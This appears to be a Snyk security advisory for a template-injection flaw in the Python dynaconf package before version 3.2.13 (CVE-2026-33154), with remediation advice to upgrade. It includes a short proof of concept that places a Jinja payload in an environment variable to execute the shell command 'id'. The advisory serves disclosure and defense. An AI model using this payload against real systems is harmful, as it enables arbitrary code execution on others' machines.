Improper Neutralization of Special Elements Used in a Template Engine Affecting dynaconf package, versions [,3.2.13)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.02% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-DYNACONF-15758256
  • published23 Mar 2026
  • disclosed20 Mar 2026
  • creditredyank

Introduced: 20 Mar 2026

CVE-2026-33154  (opens in a new tab)
CWE-1336  (opens in a new tab)

How to fix?

Upgrade dynaconf to version 3.2.13 or higher.

Overview

dynaconf is a The dynamic configurator for your Python Project

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements Used in a Template Engine due to unsafe template evaluation in the @Jinja resolver. An attacker can execute arbitrary code by injecting malicious template expressions into configuration values when the jinja2 package is installed.

Note: This is only exploitable if the jinja2 package is present in the environment.

PoC

import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)

CVSS Base Scores

version 4.0
version 3.1